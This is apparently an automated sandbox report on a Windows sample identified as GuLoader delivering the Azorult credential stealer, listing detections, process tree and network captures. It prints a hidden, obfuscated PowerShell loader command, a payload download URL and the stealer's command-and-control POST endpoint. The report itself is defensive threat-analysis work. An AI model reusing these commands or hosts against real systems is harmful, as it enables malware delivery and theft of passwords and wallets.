Edit tour

Windows Analysis Report
24010-KAPSON.exe

Overview

General Information

Sample name:	24010-KAPSON.exe
Analysis ID:	1589867
MD5:	ef470b3a08dd421f59ab4c049aec86b3
SHA1:	2bec03cb32daee7bab4e0a31ed442759b8271ea3
SHA256:	2eb5a21f2b8714b860506c854cf1ada5d07393b827e9cf362edb4ccd9dff5d74
Infos:

Detection

Azorult, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Early bird code injection technique detected

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Azorult

Yara detected GuLoader

AI detected suspicious sample

Found many strings related to Crypto-Wallets (likely being stolen)

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Powershell drops PE file

Queues an APC in another process (thread injection)

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Tries to steal Instant Messenger accounts or passwords

Writes to foreign memory regions

Binary contains a suspicious time stamp

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

Sigma detected: Msiexec Initiated Connection

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

24010-KAPSON.exe (PID: 6052 cmdline: "C:\Users\user\Desktop\24010-KAPSON.exe" MD5: EF470B3A08DD421F59AB4C049AEC86B3)

powershell.exe (PID: 6464 cmdline: powershell.exe -windowstyle hidden "$polyesternes=gc -raw 'C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Presbyophrenic.Int';$Tartness=$polyesternes.SubString(68688,3);.$Tartness($polyesternes) " MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 6204 cmdline: "C:\Windows\SysWOW64\msiexec.exe" MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 6192 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "msiexec.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 5712 cmdline: C:\Windows\system32\timeout.exe 3 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Azorult	AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit.	The Gorgon Group	http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/ https://any.run/cybersecurity-blog/azorult-malware-analysis/ https://asec.ahnlab.com/en/26517/ https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/	https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2588292127.0000000020980000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000002.00000002.2375833241.000000000A496000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000005.00000002.2589276860.0000000021BA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: msiexec.exe PID: 6204	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
Process Memory Space: msiexec.exe PID: 6204	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.msiexec.exe.21784491.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.msiexec.exe.21784491.5.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x30106e:$string1: SELECT origin_url, username_value, password_value FROM logins 0x301f9f:$string1: SELECT origin_url, username_value, password_value FROM logins 0x175185:$string2: API call with %s database connection pointer 0x175db9:$string3: os_win.c:%d: (%lu) %s(%s) - %s
5.2.msiexec.exe.217efbe2.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.msiexec.exe.217efbe2.3.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x29591d:$string1: SELECT origin_url, username_value, password_value FROM logins 0x29684e:$string1: SELECT origin_url, username_value, password_value FROM logins 0x109a34:$string2: API call with %s database connection pointer 0x10a668:$string3: os_win.c:%d: (%lu) %s(%s) - %s
5.2.msiexec.exe.217624a4.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.msiexec.exe.217624a4.4.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x32305b:$string1: SELECT origin_url, username_value, password_value FROM logins 0x323f8c:$string1: SELECT origin_url, username_value, password_value FROM logins 0x197172:$string2: API call with %s database connection pointer 0x197da6:$string3: os_win.c:%d: (%lu) %s(%s) - %s
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -windowstyle hidden "$polyesternes=gc -raw 'C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Presbyophrenic.Int';$Tartness=$polyesternes.SubString(68688,3);.$Tartness($polyesternes) ", CommandLine: powershell.exe -windowstyle hidden "$polyesternes=gc -raw 'C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Presbyophrenic.Int';$Tartness=$polyesternes.SubString(68688,3);.$Tartness($polyesternes) ", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\24010-KAPSON.exe", ParentImage: C:\Users\user\Desktop\24010-KAPSON.exe, ParentProcessId: 6052, ParentProcessName: 24010-KAPSON.exe, ProcessCommandLine: powershell.exe -windowstyle hidden "$polyesternes=gc -raw 'C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Presbyophrenic.Int';$Tartness=$polyesternes.SubString(68688,3);.$Tartness($polyesternes) ", ProcessId: 6464, ProcessName: powershell.exe

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 107.151.162.135, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 6204, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49857

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -windowstyle hidden "$polyesternes=gc -raw 'C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Presbyophrenic.Int';$Tartness=$polyesternes.SubString(68688,3);.$Tartness($polyesternes) ", CommandLine: powershell.exe -windowstyle hidden "$polyesternes=gc -raw 'C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Presbyophrenic.Int';$Tartness=$polyesternes.SubString(68688,3);.$Tartness($polyesternes) ", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\24010-KAPSON.exe", ParentImage: C:\Users\user\Desktop\24010-KAPSON.exe, ParentProcessId: 6052, ParentProcessName: 24010-KAPSON.exe, ProcessCommandLine: powershell.exe -windowstyle hidden "$polyesternes=gc -raw 'C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Presbyophrenic.Int';$Tartness=$polyesternes.SubString(68688,3);.$Tartness($polyesternes) ", ProcessId: 6464, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE AZORult v3.3 Server Response M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T09:22:24.181468+0100	2029137	1	Malware Command and Control Activity Detected	104.21.32.1	80	192.168.2.5	49865	TCP

ET MALWARE Win32/AZORult V3.3 Client Checkin M14

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T09:22:23.941442+0100	2029467	1	Malware Command and Control Activity Detected	192.168.2.5	49865	104.21.32.1	80	TCP
2025-01-13T09:22:32.588773+0100	2029467	1	Malware Command and Control Activity Detected	192.168.2.5	49905	104.21.32.1	80	TCP

ETPRO MALWARE AZORult CnC Beacon M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T09:22:23.941442+0100	2810276	1	Malware Command and Control Activity Detected	192.168.2.5	49865	104.21.32.1	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T09:22:21.813456+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49857	107.151.162.135	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\24010-KAPSON.exe

ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: 24010-KAPSON.exe	Virustotal: Detection: 25%			Perma Link
Source: 24010-KAPSON.exe	ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.3% probability

Source: 24010-KAPSON.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 24010-KAPSON.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-locale-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.5.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.5.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.5.dr
Source:	Binary string: ucrtbase.pdb source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.5.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-memory-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-debug-l1-1-0.dll.5.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.5.dr
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-environment-l1-1-0.dll.5.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.5.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.5.dr
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.5.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.5.dr
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-private-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-convert-l1-1-0.dll.5.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr
Source:	Binary string: msvcp140.i386.pdb source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.5.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.5.dr
Source:	Binary string: ucrtbase.pdbUGP source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.5.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-time-l1-1-0.dll.5.dr
Source:	Binary string: CallSite.Targetore.pdb&/ source: powershell.exe, 00000002.00000002.2373657788.0000000008B8D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.5.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.5.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-datetime-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-conio-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.5.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.5.dr
Source:	Binary string: s\System.Core.pdbxT source: powershell.exe, 00000002.00000002.2373657788.0000000008BBB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-multibyte-l1-1-0.dll.5.dr
Source:	Binary string: vcruntime140.i386.pdb source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.5.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-utility-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-timezone-l1-1-0.dll.5.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.5.dr
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-string-l1-1-0.dll.5.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.5.dr
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l2-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-heap-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-string-l1-1-0.dll.5.dr

Source: C:\Users\user\Desktop\24010-KAPSON.exe	Code function: 0_2_00405C4E CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C4E
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Code function: 0_2_0040689A FindFirstFileW,FindClose,	0_2_0040689A
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Code function: 0_2_00402902 FindFirstFileW,	0_2_00402902

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029467 - Severity 1 - ET MALWARE Win32/AZORult V3.3 Client Checkin M14 : 192.168.2.5:49865 -> 104.21.32.1:80
Source: Network traffic	Suricata IDS: 2810276 - Severity 1 - ETPRO MALWARE AZORult CnC Beacon M1 : 192.168.2.5:49865 -> 104.21.32.1:80
Source: Network traffic	Suricata IDS: 2029137 - Severity 1 - ET MALWARE AZORult v3.3 Server Response M2 : 104.21.32.1:80 -> 192.168.2.5:49865
Source: Network traffic	Suricata IDS: 2029467 - Severity 1 - ET MALWARE Win32/AZORult V3.3 Client Checkin M14 : 192.168.2.5:49905 -> 104.21.32.1:80

Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1
Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49857 -> 107.151.162.135:80

Source: global traffic	HTTP traffic detected: GET /wp-includes/block-bindings/wTryLAihFvcVmUK202.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: electricsuitcase.netCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /PL341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: b2csa.icuContent-Length: 111Cache-Control: no-cacheData Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 8b 30 60 8b 30 63 8b 30 63 e8 26 66 9e 45 17 8b 31 11 8b 30 6d 8b 30 62 8b 30 61 e8 26 66 96 26 66 9f 40 70 9d 35 70 9c 47 70 9d 34 70 9d 32 70 9d 3a 70 9d 3b 16 8b 30 61 8b 30 6c ea Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b0`0c0c&fE10m0b0a&f&f@p5pGp4p2p:p;0a0l
Source: global traffic	HTTP traffic detected: POST /PL341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: b2csa.icuContent-Length: 32939Cache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /wp-includes/block-bindings/wTryLAihFvcVmUK202.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: electricsuitcase.netCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: electricsuitcase.net
Source: global traffic	DNS traffic detected: DNS query: b2csa.icu

Source: unknown

HTTP traffic detected: POST /PL341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: b2csa.icuContent-Length: 111Cache-Control: no-cacheData Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 8b 30 60 8b 30 63 8b 30 63 e8 26 66 9e 45 17 8b 31 11 8b 30 6d 8b 30 62 8b 30 61 e8 26 66 96 26 66 9f 40 70 9d 35 70 9c 47 70 9d 34 70 9d 32 70 9d 3a 70 9d 3b 16 8b 30 61 8b 30 6c ea Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b0`0c0c&fE10m0b0a&f&f@p5pGp4p2p:p;0a0l

Source: msiexec.exe, 00000005.00000002.2588292127.0000000020980000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://b2csa.icu/PL341/index.php
Source: msiexec.exe, 00000005.00000002.2575032660.0000000004F8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://b2csa.icu/PL341/index.phpn
Source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, nssdbm3.dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
